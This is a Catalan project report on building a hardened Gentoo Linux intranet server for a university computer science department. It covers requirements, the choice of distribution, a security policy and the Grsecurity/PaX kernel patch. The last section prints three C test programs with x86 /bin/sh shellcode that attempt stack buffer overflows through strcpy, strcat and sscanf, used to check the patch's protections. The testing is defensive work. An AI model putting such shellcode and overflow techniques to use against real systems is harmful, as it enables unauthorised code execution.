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1.  OBJECTIUS

A datade Juny del 2002, la planaweb del Departamentd'EnginyeriaInformàticai
Matemàtiques(DEIM) estrobavaen un estatbastantdesactualitzati arrossegavaun
dissenyinconsistenti pocformal,esva plantejarla necessitatdecrearunanovaplana
webdesuperiorqualitat.Desprésd'analitzarels requisits(queveuremmésendavant)
esva establircom a objectiugeneralla creaciód'un servidorper l'intranetdel DEIM
que albergues la nova plana web i oferís altre mena de serveis.

A continuació tenim una captura de la antiga plana web del DEIM:
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2.  ANÀLISI DE REQUISITS

APLICACIÓ WEB  

Comquel'estatde la planaweberarealmentdolent,esva contemplarmarcar-secom
a objectiu primordial la elaboraciód'una nova plana web partint des de cero. Els
requeriments generals per portar a terme aquest objectiu eren:

� Fàcil de mantenir
La ideaerapodermodificardeterminadespartsdela webfàcilmentsensehaverde
tocardirectamentel codi de les planesweb.Perpoderfer queaquestrequeriment
sigui efectiu caldria utilitzar planes dinàmiquesque accedeixina alguna font
d'informació, com per exemple una base de dades.

� Ràpid desenvolupament
El tempsde desenvolupamentera important,s'haviade tindre una web principal
preparadaen poc temps per poder substituir l'antiga i rebre opinions de les
persones que feien ús d'ella.

� Disseny amb els colors oficials de la universitat
La planawebhaviade transmetreper si mateixaqueestractavad'un departament
de la Universitat Rovira i Virgili. Per això es va considerar des de bon
començamentque la utilització de colors semblantsal que utilitza oficialment la
Universitat seria imprescindible.

� No utilitzar frames a les webs
Els frames són una característicade l'última versió de l'HTML que permeten
visualitzara la mateixafinestra,dueso mésplanesweb a la vegadade forma que
fàcilmentespodenfer menús.L'inconvenientqueplantegenesqueno espodenfer
enllaçosdesde planesexternescapaquestamenade websfàcilmentquanvolem
que un dels frames mostri una plana especifica (no la principal).

� Utilitzar tecnologies lleugeres
No es volia fer ús de tecnologiespesadesque facin la navegacióméslenta,com
per exempleplanesrealitzadescompletamentamb MacromediaFlash. No era
necessàriauna plana web espectacular,sinó que s'apostavamés per una plana
practica i formal.
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� Utilització d'estàndards
La planawebdeviaseraccessibledesdequalsevolsistema,mésconcretamentdes
de qualsevol navegador. Per aquesta raó s'havia d'optar per la utilització d'estàndars
i intentar fer que la visualització fos molt similar a tots els navegadorsmés
populars: Internet Explorer, Netscape i Mozilla. En cap moment es volia
discriminar a cap usuari o afavorir segons quins sistemes davant d'altres.

� Tornar a classificar els continguts existents
S'haviade tornar a organitzarels contingutsja existents,eliminar tot allò que no
fos necessari i incorporar més informació en cas de necessitat.

� Traduir la informació més important
La informació imprescindibleper trobar el departamento per trobar tant algun
professorcomalgunade lessevespropostesde tesideviasertraduitals3 idiomes:
Català, Anglès i Castellà.

Els requerimentsd'aquestobjectiu van crear novesnecessitats.El servidor que en
aquellmoments'estavautilitzant per albergarla planaweb eracontrolatper l'escola
(ETSE) i no disposavade les últimes tecnologiesper la realitzacióde planeswebs
dinàmiques,ni tan solsensoferíemla possibilitatde tenir accésa unabasededades.
Per aquestsmotius es va crear un nou objectiu: tenir un servidor propi per la
universitat de forma que així es podria utilitzar tot allò que necessitàvem.

SERVIDOR  

Era necessaridisposard'un servidora on albergarla futura planaweb.Aquesthavia
de disposarde les tecnologiesnecessàriesper desenvoluparla plana.La maquinaria
inicial que podíem utilitzar consistia en un ordinador amb les següents
característiques:

� Processador Intel Pentium MMX 150 Mhz
� RAM: 32 MB
� 2 GB de Disc dur.
� Més tard es va afegir un altre disc dur de 2 GB.

Més tard, quanel projectepràcticamentja estavadesenvolupatesva fer un canvi de
hardware:

� Processador Intel Pentium IV 2.0 Ghz
� RAM: 256 MB
� 40 GB de Disc dur
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Cal remarcar que totes les decisions de dissenys es van fer tenint en compte la primera
màquinai noesva preveureencapmomentunaampliaciódela potenciadehardware
de la que es disposava.

Comquearael departamentdisposariad'un servidorperell mateix,vansorgir noves
necessitats:

� Planes personals dels professors
Les planespersonalsdels professorses podrientraslladarcap aquestservidorde
forma que així es puguin beneficiar de les tecnologies que s'implantarien en aquest.

� Nous serveis
A més d'oferir la plana web principal i l'allotjament de planes personalsa
professors,es podria aprofitar la màquinaper a oferir qualsevolaltre menade
serveisque poguessinser explotatspel departament.Principalmentserveisper
facilitar la comunicació interna entre tot el personal del departament.

� Administració del servidor
El servidorcalia seradministratperunapersonaquefos el responsabledavantde
qualsevolmenadeproblemai ques'encarreguesderealitzartasquesadministrativa
com donar d'alta usuaris, resoldre dubtes, etc...

Un cop es van establir tots els objectius es va veure clarament que es podia resumir tot
en la creaciód'unservidorper la intranetdel Departamentd'EnginyeriaInformàticai
Matemàtiques (DEIM).
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3.  DECISIONS DE DISSENY

Un coptenimclar quel'objectiudelprojecteesrealitzarun servidorper la intranetdel
Departamentd'EnginyeriaInformàtica i Matemàtiques(DEIM), vaig haverde fixar
quins serien els criteris més generals per desenvolupar-ho.

SOFTWARE LLIURE  

La primerai potsermésimportantdecisióquevaig prendreva ser la total utilització
de Software Lliure per a muntar el servidor. El model de Software Lliure ens
proporciona tota una sèrie de beneficis importants:

� Sense restriccions d'us
Utilitzar SoftwareLliure implica no tenir caprestriccióa l'hora d'utilitzar-ho,de
forma que ho podem instal·lar a tantes màquines com sigui necessari per exemple.

� Accés al codi font
Quanutilitzem SoftwareLliure significa quepodemaccediral codi font de totes
les aplicacionsque estem utilitzant. Això significa que podem comprovar la
qualitatdel'aplicaciói assegurar-nosdequefa el quehadefer, podemestarsegurs
queaquestprogramarino tindràbackdoors,ni enviaràinformacióconfidencialcap
a alguna empresa.

� Modificacions
El SoftwareLliure enspermetrealitzarqualsevolmenade modificacióal codi de
forma que el podemmillorar, inclús adaptara les nostresnecessitats.Aquesta
versatilitat no ens la ofereix cap producte propietari actualment.

� Distribució gratuïta
SoftwareLliure no essinònimde Softwaregratuït,peròsi podemafirmar que la
majoriad'aquesttipusdeprogramariespot trobargratuïtamenta la xarxa.Aquesta
situacióesdegudaa queambaquestamenadesoftwarequalsevolté la llibertat de
redistribuir-ho tant fent pagar com gratuïtament.

Per tant, escollint utilitzar Software Lliure podíem muntar un servidor tenint el control
de cadalínia de codi ques'executai a méssensehaverde pagargransquantitatsde
dinersa terceresempreses.A més,existia un factor molt important que clarament
afavoria l'ús de SoftwareLliure, disposàvemd'unamàquinamolt poc potent i com
queles solucionspropietàriesqueexisteixentenenunsrequisitsmolt méselevatsde
hardware, aquestes quedaven descartades des d'un primer moment.
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SEGURETAT  

La segonamés important decisió de dissenyque vaig prendreva ser seguir una
estrictapolítica de seguretat.Actualment existeixenal món milions de màquines
connectadesa la xarxa d'Internet i gran part d'aquestessón configuradesper
administradorinexpertso incompetents,situaciómolt atractivaper aquellsintrusos
denominatscrackersqueesdediquena utilitzar elsordinadorsvulnerablesde la xarxa
pel seu ús personal.

Es a dir, hi han molts usuarisexpertsdisposatsa aconseguiraccésno autoritzata
qualsevolmàquinaper obtenirinformacióprivilegiadai privada.I no tan sol experts,
tambéhi haun ampli grupd'usuarisambunsnivells deconeixementsno molt elevats
queesdediquena entraren màquinesutilitzant einesfetesper experts,de forma que
ni tansolsbusquencobrir lessevesnecessitatsintel·lectualsaprenentsobreseguretat,
simplementvolen sentir-sepoderososutilitzant einesque realmentno entenen.Per
tant,no cal ni serun granexpertenseguretatavui endia perpoderentrarenalgunade
les màquines que hi han connectades a Internet.

Aquesttipusdeperills s'hand'evitar,no nomésperprotegirla informaciódelsusuaris
del sistema, sinó que un intrús tingui el control d'aquesta màquina significa que podria
utilitzar-la contra una altra de la pròpia xarxa de la universitat.

Per tant, es obligat establir una política de seguretatrestrictiva per tal d'evitar
qualsevolintrús.Tot i això, perdesgraciai com ja s'hadit moltesvegades,per tindre
un ordinadorcompletamentsegurhauríemd'aïllar-hode qualsevolxarxa i tancar-ho
de forma que tampocpugui ningú accedir físicamenta ell. A pesarde seguir una
política de seguretatestrictamai enshem de confiar i pensarque tenim un sistema
segur, doncs cap sistema es pot considerar segur avui en dia.

La política de seguretat de la que parlo constarà de diversos punts importants:

� Actualització periòdica del software
El programariutilitzat al servidorhadeseractualitzatfreqüentmentdeformaquea
mesuraque es descobreixinnousbugsde seguretati es corregeixin,la màquina
sempredisposi de la versió amb el problemasolucionat.Així cap intrús podrà
utilitzar vulnerabilitats 

� Serveis mínims
El serveisques'ofereixincapa l'exteriorhande serels mínimsnecessaris.Tot el
queno calguiseracceditdesdel'exteriorhadeserbloquejat.Inclúslesaplicacions
instal·ladeshan de ser les mínimes,nomésles que es necessiten.Així evitarem
patir els bugs de seguretat d'aplicacions que realment no necessitem i no usem.
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� Firewall
Configurarel firewall del sistemaperevitar atacsdesde l'exterior i per bloquejar
aquells serveis que no haguin de ser accessibles.

� Connexions xifrades
La xarxade la Universitatesun lloc molt adientper a espiartotesles connexions
quees fan desde qualsevolmàquinainternacap a un altre internao externa.La
topologiad'aquestapermetveurefàcilment tots els paquetsque són enviatspels
ordinadors(tambédependel segmenta on enstrobem),si a mésenviemtota la
informaciósensecapmenad'encriptacióenstrobemambun puntfeblequehemde
solucionar.

Actualmentexisteixeneinesmolt bonesper observartot el tràfic quepassaper la
xarxa,aquestamenade programesson anomenatshabitualmentsniffers i hi han
per qualsevolsistemaoperatiu.Es per això que qualsevolintrús podria arribar a
connectar-sea la xarxade la universitati utilitzar aquestsprogramesperenvair la
intimitat delsusuariso inclúsperobtenirpasswords.D'aquestaformapodriaentrar
en màquinesde la universitat(inclòs el nostreservidor)amb els passwordsque
hagi capturat.

Pertant,esvital quetotaconnexiócontrael servidorquerequereixiautentificació
ha de ser xifrada utilitzant els protocols més habituals en cada cas:
� Connexions via web: protocol SSL
� Connexions per pujar/baixar arxius: protocol SecureFTP (SFTP)
� Connexions per accedir al sistema remotament: SecureSHell (SSH)
� Aplicacions que no disposin nativament de suport per l'encriptació: stunnel

� Accés restringits al usuaris del sistema
S'had'evitarlo màximpossiblequeelsusuaristinguin accésa tot el sistemao que
puguin realitzar connexionscap a altresmàquinesdes del seucompteal nostre
servidor.

� Utilització de Software Lliure
Aquest requerimentja forma part d'una de les decisionsper portar a terme el
projecte,elsmotiusper considerar-hotambécoma partde la políticade seguretat
ja han sigut tractats.Aquest tipus de programarienspermetaccediral seucodi
font, veurequeesel queestafent encadamomenti podemestar100%segursque
no esta enviant dades privades a cap empresa.
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SISTEMA  

Per escollir el sistemaoperatiu lliure que utilitzaria tenia tota una gran llista de
possibilitats:

� NetBSD (http://www.netbsd.org/)
Sistema tipus UNIX, segur i altament portable, disponible per multitud de
plataformesdesde AlphaServersa 64 bits i sistemesd'escritorisfins a dispositius
de ma. Per tant, la portabilitat es la sevagran virtut i això es un factor que no
necessitem.

� OpenBSD (http://www.openbsd.org/)
El projecte OpenBSD produeix un sistema operatiu lliure tipus UNIX,
multiplataforma,basaten4.4BSD.Esconcentrenenla portabilitat,cumplimentde
les normesy regulacions,correcionsdel codi, seguretatproactivay criptografia
integrada.A més inclou emulacióde binaris per la majoria dels sistemesSVR4
(Solaris), FreeBSD, Linux, BSD/OS, SunOS y HP-UX.

Pertant,estractad'unsistemaorientata la seguretat.Inclúspodenafirmarqueen7
anysnoméshantingut només1 forat de seguretatremot,per tantespodriatractar
d'una bona opció per implementar el servidor.

� FreeBSD
Estractad'unavançatsistemaoperatiuperarquitecturesx86,DEC Alpha y PC-98,
el suportperaltresarquitecturesestaendesenvolupament.FreeBSDesun derivat
de BSD UNIX, la versió de UNIX realitzadaen la universitat de California,
Berkeley.

FreeBSDofereix altes prestacionsen comunicacionsen xarxa, alt rendiment,
seguretati compatibilitat,encarainexistentsen altressistemesoperatius(incluent
els comercials de més renom).

En definitiva aquestestractadel méspopulardetotselsBSDsel qualescentraen
obtenir un rendiments molt elevats.

� GNU/Linux (http://www.gnu.org - http://www.kernel.org/)
Sistema operatiu el qual esta compost per les eines GNU i el nucli Linux

� EinesGNU: RichardStallmanva iniciar el projecteGNU al 1984,consistiaen
crearun sistemaoperatiu(kernel, llibreries, eines...)lliures. En aquell any van
decidircomençarprimerper leseines(editors,compiladors...)i deixarel kernel
pel final. Al 1991 ja tenienla major part de les einesdesenvolupadesi esvan
trobar amb un kernel lliure desenvolupatper una personafora del projecte
(Linus Torvalds),llavors van veureque podienajuntarles einesGNU ambel
nucli Linux i així va sorgir el sistema operatiu GNU/Linux. 
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� Nucli Linux: creatoriginalmentperLinus Torvaldsal 1991enla Universitatde
Helsinki (Finlandia).Ha sigutdesenvolupatpermilersd'usuarisdecomputadors
de tot el mon, contribuint tots ambl'únic fi d'aconseguirun sistemaconfiable,
robust, poderós, fiable i segur.

Es tractadel sistemaoperatiuméspopulardintrede tots els sistemeslliures, ésel
que més recolzamentté per part de les empreses,conta amb el major nombre
d'aplicacionsi al ser tan popularpodemtrobarsuporttècnicen milers de pàgines
web/llistes de correu/fòrums,de forma que aconseguirdocumentaciósobre
qualsevol detall del sistema és molt fàcil.

Tots els sistemestractatssón d'una altisima qualitat i seguramentqualsevold'ells
podriahavercomplertles expectativesestablertesper la realitzaciód'aquestprojecte,
però finalment em vaig decantarper un sistemaGNU/Linux ja que, com es veu a
l'anàlisi, agafa les millors característiquesde cadascuni inclús afegeix les seves
pròpiesper crearun entornpotent,seguri amb la comunitatd'usuarismésgrandel
mon.

Un cop escollit el sistemaoperatiuGNU/Linux em vaig haverd'enfrontara la dura
elecciód'unadistribució.LesdistribucionsdeGNU/Linux no sónmésqueunaforma
concretad'empaquetartota unasèriede programarijunt ambunesaplicacionsextres
quefaciliten el manteniment,de forma quehi hanempresesquecreenla sevapròpia
distribució i desprésofereixen tota una sèrie de serveis al voltant d'aquesta.
Bàsicament totes son GNU/Linux de forma que al oferir diferents formes
d'empaquetari administrarel sistemas'estàoferint a l'usuari la possibilitatd'escollir
allò que més s'adequa a les seves necessitats o gusts.

Seguidament passo a detallar les més importants distribucions:

� RedHat (http://www.redhat.es/)
Es tracta d'una distribució comercial construïdaper l'empresaRedHat. Quan
compremun sistemaoperatiuRedHatno noméspaguempel softwaresinó que
estemadquirint tot un conjuntde serveiscom pot ser l'atencióal client durantun
períodedeterminat.De totesformestambéestroba la sevadistribucióper baixar
gratuïtamenta la xarxa,evidentmentutilitzar aquestaversióno ensproporcionaels
serveis dels que hem parlat anteriorment.

RedHatesla distribuciólíder mundial,estàorientadaa empresesi intentafacilitar
la vida a l'administradoramb eines de configuració desenvolupadesper ells
mateixos. Incorpora un sistema de paquets RPMs, per facilitar la
instal·lació/desinstal·lació de aplicacions. 

� Mandrake (http://www.mandrakelinux.com)
Aquestadistribucióescentraprincipalmenten l'usuarimig d'escriptori,incorpora
gran quantitat d'assistentsper les tasquesmés comuns.També es tracta d'una
distribució comercial amb versió gratuïta per descarregar. Actualment l'empresa
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quehi haal darreraestatenintproblemeseconòmicsdegutsa unamalagestió,però
encaraestanlluitant per superarla crisis i ofereixentota una sèriede serveisal
igual que RedHat.

Mandrakeva serdesenvolupadaa partir d'unaRedHat,per això heretael sistema
de paquetsRPM que facilita la instal·lació/desinstal·lacióde aplicacions.En
general es una distribució perfecta per usuaris novells.

� UnitedLinux (http://www.unitedlinux.com/)
Més queunadistribucióper si mateixaestractad'un acordoberta mésempreses
realitzat per les següents companyies:

� Connectiva S.A.
� SCO Group
� SuSE Linux
� Turbo Linux

Entre les quatreempresesdesenvolupenuna distribució basecomú anomenada
UnitedLinux a la qual cadascunad'elles li afegeix les seveseinespersonalsper
competir per separatperò sempresensemodificar la base. D'aquestaforma
ofereixenun estàndardfort per podercompetirambla tot poderosaRedHat.Així,
si hi ha terceresempresesque certifiquen que els seusproductesfuncionen a
UnitedLinux significa realmentqueaquestsproductesfuncionarana cadaunade
les  distribucions de les 4 empreses.

� Debian GNU/Linux (http://www.debian.org)
Distribució no comercial,creadaper usuarisde tot el món ambel compromísde
que mai sigui gestionada per cap empresa. Té un sistema molt estricte
d'actualització de forma que tenen 3 versions diferents:

� Woody: versió estable.
� Sarge: versió de proves (testing).
� Sid: versió inestable.

Degut a aquestestricte control sobre les aplicacions,la versió establedisposa
d'aplicacionsamb versionsbastantantiguesja que les més novesno han sigut
encara suficientment provades.

Utilitza un sistemadepaquets.deb,ambeinesquepermetenunainstal·laciófàcil i
automàticacomapt-get,ambla qualespotanaractualitzantla distribuciódeforma
senzillaperinternetdeformaquesi sorgeixenbugsdeseguretatespuguincorregir
ràpidament. La seva comunitat d'usuaris és potser la més gran del mon.

� Slackware Linux (http://www.slackware.com)
Distribució dirigida per Patrick Volkerding, va ser una de les primeres
distribucionsseriesde GNU/Linux (la versió1.0 datade l'11 de Juliol del 1993).
Té molt anys d'experiencia ja i es probable que justament per això sigui una de les
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distribucionsméstradicionals.El seuobjectiusempreha sigut mantenir-hotot lo
més simple possible,no complicar-seamb aplicacionsinnecessàriesni fer una
distribució amb centenarsd'aplicacionsde les quals la gran majoria no son
utilitzadeshabitualment.Com s'acostumaa dir KISS (Keep It Simple, Stupid!),
aquesta ha sigut des de sempre la seva filosofia.

Té un sistemadepaquetsgestionatscompletamentperscriptsenbash,els paquets
tenen l'extensió .tgz i no te sistema per control de dependències.

En generalestractad'unadistribuciómolt fàcil d'administrar(al contraride lo que
la granmajoriadepersonescreu),la sevasimplicitatatorgael màximcontrolsobre
qualsevolpart del sistema.En tot momenttens la capacitatd'instal·larnomésel
nombred'aplicacionsque són necessàriesi no creaun sistemaple de programes
inútils que l'única cosa que fan es incrementarel risc a que hi hagui una
vulnerabilitat, la qual pugui ser aprofitada per un intrús.

� Gentoo Linux (http://www.gentoo.org)
És la distribuciómésjove de les esmentades,el seuorigendatad'abril del 2002.
Ràpidaments'hacreatunagrancomunitatd'usuarismolt activaque la mantenen.
Té unescaracterístiquesmolt innovadores,molta gent consideraque Gentooes
més bé una metadistribució que et permet construir el teu sistema al teu gust.

La filosofia que segueixes la de compilar tot el sistemaamb les optimitzacions
adientspel sistemaa on s'utilitzarà,d'aquestaforma realmentaprofitemal màxim
lesprestacionsdelesmàquinesactuals.La majoriadelesaltresdistribucionsestan
compiladesper i386 de forma que no utilitzen les novesinstruccionsque s'han
afegit als últims processadors.

El seusistemade paquetsbasatsenebuildsfa quela instal·lació/desinstal·lacióde
programessigui molt senzilla, té control de dependènciesi disposad'una gran
quantitat d'ebuilds al seu portage(llistat d'aplicacions).Més concretament,els
ebuildsautomatitzentot el procésdecontrol de dependències,descarregadel codi
font, compilació i instal·lació.

Manteniractualitzatel sistemaésextremadamentfàcil gràciesa l'script emerge(tot
el sistema de paquets esta implementat utilitzant Python).

Les primeres distribucions que vaig descartarvan ser les comercials (RedHat,
Mandrake,UnitedLinux),no esvolia fer capinversióenel desenvolupamentd'aquest
projecte,per tanthauremd'utilitzar les sevesversionsgratuïtesqueno ofereixencap
menade servei.Es a dir, estarienen igualtatde condicionsqueles no comercials.El
motiu principal per descartarles distribucionscomercialses que no disposende
comunitats d'usuaris tan actives com les altres.

Comqueinicialmentdisposàvemd'unamàquinamolt pocpotent,de lesdistribucions
no comercials la més adient va resultar ser una Slackware. La seva particular visió de
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fer les cosestan simplescom sigui possibleeraunaavantatge,no ompliríemel poc
disc dur queteníemambaplicacionsqueno utilitzaríem,tindríemun control absolut
sobre el que hi ha instal·lat, etc...

Com ja hem fet referènciaen altresseccions,quanel projecteestavapràcticament
desenvolupates va fer un canvi de hardware.En aquell moment es va haver de
replantejarla eleccióinicial dela distribucióSlackware,ja queelsmotiusquevanfer
d'aquestala favorita ara havien canviat amb la nova maquinaria.Es va tornar a
avaluarla situaciói de les distribucionsno comercialsva sortir com a clarafavorita
Gentoo. Amb aquestsistemaaprofitaríem al màxim la màquinanova de la que
disposàvemgràciesa les compilacionsoptimitzades.Un altre punt a favor era la
facilitat ambla que espodiamantenirel sistemaactualitzat,amb Slackwares'havia
experimentatlo dur que resultavadesenvoluparaquestatascasensetenir una eina
automatitzadaque facilites el procés.Actualmentel servidor té una GentooLinux
optimitzada al màxim.

GRSECURITY KERNEL PATCH  

Un cop ja s'havia fet la elecció del sistemaoperatiu Gentoo GNU/Linux, es va
considerarla possibilitatd'afegirnovescaracterístiquesdeseguretatal nucli (kernel).
Va ser llavors quan es va avaluar un patch amb molt bona reputacióanomenat
Grsecurityque afegiaunescaracterístiquesmolt interessantsal kernel que passoa
enumerar:

� CARACTERÍSTIQUES DEL SISTEMA MAC

� Politica de seguretat reforzada
� Suportdepermisosdeptraceperescriptura,lectura,afegir,executar,veurei només

lectura.
� Suport de flags per amagar, protegir i sobreescriure.
� Suport dels flags de PaX
� Protecció de memòria compartida
� Resposta local integrada per qualsevol atac
� Subject flag que assegura que un procés no executi codi trojanitzat
� Mode d'aprenentatgeintel·ligent que produeix menys privilegis ACLs si no

existeix configuració
� Facilitats per auditories
� ACLs per els recursos del sistema
� Socket ACLs 
� ACLs per arxiu/procés
� Protecció davant de força bruta d'exploits
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� Protecció de /proc/pid descriptors d'arxius/memòria
� Les ACLs poden ser situades en arxius/processos no existents
� Regeneració d'ACL
� Mode administració per ús regular de les tasques de l'administrador del sistema
� Sistema ACL es segellat fins que l'administrador no surti.
� Suport per globbing en objectes ACL
� Logs configurables
� Contabilitat de processos configurable
� Configuració fàcilment interpretada per humans
� Sense dependència del sistema d'arxius
� Sense dependència de l'arquitectura
� Escalable: suporta tantes ACLs com memòria que pugui utilitzar
� No runtime memory allocation 
� SMP segur
� Cost O(1) per la majoria d'operacions
� Inclou directives per ACLs addicionals especifiques
� Capacitat per activar, desactivar i recargar
� Opció a l'espai d'usuari per provar els permisos ACL
� Possibilitat d'amagar el processos del kernel

� RESTRICCIONS CHROOT

� Impossibilita afegir memòria compartida fora del chroot
� Impossibilita matar fora del chroot
� Impossibilita ptrace fora del chroot (depen de l'arquitectura) 
� Impossibilita capget fora del chroot
� Impossibilita setpgid fora del chroot
� Impossibilita getpgid fora del chroot
� Impossibilita getsid fora del chroot
� Impossibilita enviar missatges amb fcntl fora del chroot
� Impossibilita veure qualsevol procés fora del chroot, inclús si /proc esta montat
� Impossibilita muntar o remuntar
� Impossibilita pivot_root 
� Impossibilita doble chroot 
� Impossibilita fchdir fora del chroot
� Força chdir("/") després del chroot
� Impossibilita (f)chmod +s 
� Impossibilita mknod 
� Impossibilita escriptures sysctl
� Impossibilita escalada de prioritats
� Impossibilita conectar a un unix domain socket abstracte fora del chroot
� Log d'execucions dintre del chroot
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� PROTECCIONS PER LES MODIFICACIONS DE L'ESPAI D'ADRECES

� PaX: Implementacióbasadaen pàginesamb espaisd'usuarisno executablesper
i386, sparc, sparc64, alpha, parisc, and ppc 

� PaX: Implementacióbasadaen segmentacióamb espaisd'usuarisno executables
per i386 amb un altisim rendiment

� PaX: Implementacióbasadaen segmentacióde pàginesde kernelno executables
per i386

� PaX: Restriccions mprotect per preveure nou codi al entrar en una tasca
� PaX: Pila i base mmap aleatòria per i386, sparc, sparc64, alpha, parisc, and ppc 
� PaX: Base executable aleatòria per i386, sparc, sparc64, alpha, parisc, and ppc 
� PaX: Pila del kernel aleatòria
� PaX:Emulacióautomàticade sigreturntrampolines(per compatibilitatamblibc5,

glibc 2.0, uClibc, Modula-3) 
� PaX: Sense reubicació de ELF .text
� PaX: Emulació de trampoline  (GCC y linux sigreturn) 
� PaX: Emulació PLT  per arquitectures no i386
� Impossibilitat de modificar el kernel via /dev/mem, /dev/kmem, o /dev/port 
� Opció per desactivar l'ús de raw I/O 
� Eliminació de les adreces de /proc/<pid>/maps

� CARACTERÍSTIQUES D'AUDITORIA

� Opció per especificar un grup per auditar
� Logging d'execucions amb arguments
� Logging de la denegació de recursos
� Logging de Chdir
� Logging de mount i unmount
� Logging creació/eliminació de IPC
� Logging de senyals
� Logging de fork erronis
� Logging de canvi d'hora

� CARACTERÍSTIQUES D'ALETORIETAT

� Entropy pools més llargues
� TCP Initial Sequence Numbers aleatoris
� PIDs aleatoris
� IP IDs aleatoris
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� TCP source ports aleatoris
� RPC XIDs aleatoris

� ALTRES CARACTERÍSTIQUES

� Restriccions al /proc per no revelar informació sobre els propietaris dels processos
� Restriccions amb els enllaços simbòlics o durs per prevenir /tmp races
� Restriccions FIFO
� Restriccions al dmesg(8)
� ICMP echo IDs alterats
� Implementació millorada del Trusted Path Execution 
� Restricció al sockets basats en GID
� Pràcticamenttotesles opcionssonconfigurablesambsysctl,ambmecanismesde

bloqueig
� Totesles alertesi opcionsd'auditoriasuportala característicade loggejarla IP de

l'atacant
� Connexions stream amb unix domain sockets porten la IP de l'atacant amb ells
� Detecció de les connexions locals: copia la IP de l'atacant a altres tasques
� Nivells de seguretat: Low, Medium, High, i Custom
� Quantitats configurable de logging

Les característiquesde llistes de control d'accés(ACL) no es van considerar
importants,no eraun requisitimprescindiblei no esfariaúsd'ell. Peròtota la restade
possibilitaterenmolt interessants,estavenorientadesa evitar atacscontrael sistema
fent més difícil l'execuciód'exploits que aprofiten errors de programes,com per
exempleal fer que la pila del processosno sigui executableevitariemproblemesde
seguretat amb gran part dels buffer overflows.

Un cop aplicatel patchal kerneli recompilat,esva provarl'eficaciadavantd'alguns
exploits simples que simulaven buffer overflows:

� EXPLOIT: T1.C

Aquest programa intenta utilitzar strcpy() per sobrepassar el buffer:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0

b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc
d"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

/*
* Return 1 if at least one of the bytes in addr is 0x00; else

return 0.
 */
int contains_null_bytes(caddr_t addrp) {
    uint addr = (uint) addrp;
    return !(addr & 0xff &&

     addr & 0xff00 &&
     addr & 0xff0000 &&
     addr & 0xff000000);

}

void foo() {
    char buffer[96], *p;
    int i;
    long *long_ptr = (long *) large_string;

printf("This program tries to use strcpy() to overflow the
buffer.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    /*
* Make sure that there are no zero bytes in the starting

address in
* buffer[]. If so, find the first address containing no zero

bytes.
     */
    for (p=buffer; contains_null_bytes(p); p++);
    if (contains_null_bytes(p)) {

printf("We can't find an acceptable address that doesn't
contain\n");

printf("a zero byte.  Giving up.\n");
exit(-1);

    }

    for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) p;

    for (i = 0; i < sizeof(shellcode)-1; i++) {
large_string[i] = shellcode[i];

    }
    strcpy(p, large_string);

    return;
}

int main(int ac, char *av[]) {
    foo();

printf("If you see this statement, it means that the buffer
overflow\n");
    printf("never occurred.\n");

    return 0;
}
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� EXPLOIT: T5.C

Aquest programa intenta sobrepassar el buffer utilitzant strcat():

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0

b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc

d"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

/*
* Return 1 if at least one of the bytes in addr is 0x00; else

return 0.
 */
int contains_null_bytes(caddr_t addrp) {
    uint addr = (uint) addrp;
    return !(addr & 0xff &&

     addr & 0xff00 &&
     addr & 0xff0000 &&
     addr & 0xff000000);

}

void foo()
{
    char buffer[96], *p;
    int i;
    long *long_ptr = (long *) large_string;

printf("This program tries to use strcat() to overflow the
buffer.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    /*
* Make sure that there are no zero bytes in the starting

address in
* buffer[]. If so, find the first address containing no zero

bytes.
     */
    for (p=buffer; contains_null_bytes(p); p++);
    if (contains_null_bytes(p)) {

printf("We can't find an acceptable address that doesn't
contain\n");

printf("a zero byte.  Giving up.\n");
exit(-1);

    }

    for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) p;
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    for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];

    buffer[0] = (char)NULL;
    //strcat(p, large_string);
    strncat(p, large_string, 1000);
    return;
}

int main(int ac, char *av[])
{
    foo();

    printf("If you see this statement, it means that the buffer\n");
    printf("overflow never occurred.\n");

    return 0;
}

� EXPLOIT: T6.C

Aquest programa intenta sobrepassar el buffer amb la funció scanf():

#include <stdio.h>
#include <string.h>

/*
    jmp    1f
    0:pop  %esi
    mov    %esi,0x8(%esi)
    xor    %eax,%eax
    mov    %al,0x7(%esi)
    mov    %esi,%edi
    add    $4,%edi
    mov    %eax,0x8(%edi)
    add    $7,%eax
    add    $4,%eax
    mov    %esi,%ebx
    lea    0x8(%esi),%ecx
    lea    0x8(%edi),%edx
    int    $0x80
    xor    %ebx,%ebx
    mov    %ebx,%eax
    inc    %eax
    int    $0x80
    1:call 0b");
 */
char shellcode[] =
"\xeb\x28\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\xf7\x83\xc7\x04"
"\x89\x47\x08\x83\xc0\x07\x83\xc0\x04\x89\xf3\x8d\x4e\x08\x8d\x57"
"\x08\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd3\xff\xff\xff/bin/sh
";

char large_string[128];

void foo()
{
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
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printf("This program tries to use scanf() to overflow the
buffer.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

    for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];

    sscanf(large_string, "%s", buffer);

    return;
}

int main(int ac, char *av[])
{
    foo();

    printf("If you see this statement, it means that the buffer\n");
    printf("overflow never occurred.\n");

    return 0;
}

